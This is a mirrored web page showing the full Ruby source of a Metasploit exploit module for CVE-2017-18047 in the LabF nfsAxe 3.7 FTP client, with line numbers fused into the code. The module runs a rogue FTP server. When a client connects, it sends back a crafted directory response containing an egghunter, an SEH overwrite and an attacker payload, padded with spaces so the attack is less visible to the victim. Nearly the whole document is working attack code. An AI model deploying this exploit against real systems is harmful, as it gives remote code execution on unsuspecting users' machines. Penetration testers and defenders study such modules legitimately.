Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/labf_nfsaxe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Seh10include Msf::Exploit::Remote::Egghunter1112def initialize(info = {})13super(update_info(info,14'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote17code execution.18},19'Author' =>20[21'Tulpa', # Original exploit author22'Daniel Teixeira' # MSF module author23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2017-18047' ],28[ 'EDB', '42011' ]29],30'Payload' =>31{32'BadChars' => "\x00\x0a\x10",33},34'Platform' => 'win',35'Targets' =>36[37# p/p/r in wcmpa10.dll38[ 'Windows Universal', {'Ret' => 0x6801549F } ]39],40'Privileged' => false,41'DefaultOptions' =>42{43'SRVHOST' => '0.0.0.0',44},45'DisclosureDate' => '2017-05-15',46'DefaultTarget' => 0))4748register_options(49[50OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])51])52end5354def exploit55srv_ip_for_client = datastore['SRVHOST']56if srv_ip_for_client == '0.0.0.0'57if datastore['LHOST']58srv_ip_for_client = datastore['LHOST']59else60srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')61end62end6364srv_port = datastore['SRVPORT']6566print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")67super68end6970def on_client_connect(client)71return if ((p = regenerate_payload(client)) == nil)72print_status("#{client.peerhost} - connected.")7374res = client.get_once.to_s.strip75print_status("#{client.peerhost} - Request: #{res}") unless res.empty?76print_status("#{client.peerhost} - Response: Sending 220 Welcome")77welcome = "220 Welcome.\r\n"78client.put(welcome)7980res = client.get_once.to_s.strip81print_status("#{client.peerhost} - Request: #{res}")82print_status("#{client.peerhost} - Response: sending 331 OK")83user = "331 OK.\r\n"84client.put(user)8586res = client.get_once.to_s.strip87print_status("#{client.peerhost} - Request: #{res}")88print_status("#{client.peerhost} - Response: Sending 230 OK")89pass = "230 OK.\r\n"90client.put(pass)91res = client.get_once.to_s.strip92print_status("#{client.peerhost} - Request: #{res}")9394eggoptions = { :checksum => true }95hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)9697# "\x20"s are used to make the attack less obvious98# on the target machine's screen.99sploit = "220 \""100sploit << "\x20"*(9833 - egg.length)101sploit << egg102sploit << generate_seh_record(target.ret)103sploit << hunter104sploit << "\x20"*(576 - hunter.length)105sploit << "\" is current directory\r\n"106107print_status("#{client.peerhost} - Request: Sending the malicious response")108client.put(sploit)109110end111end112113114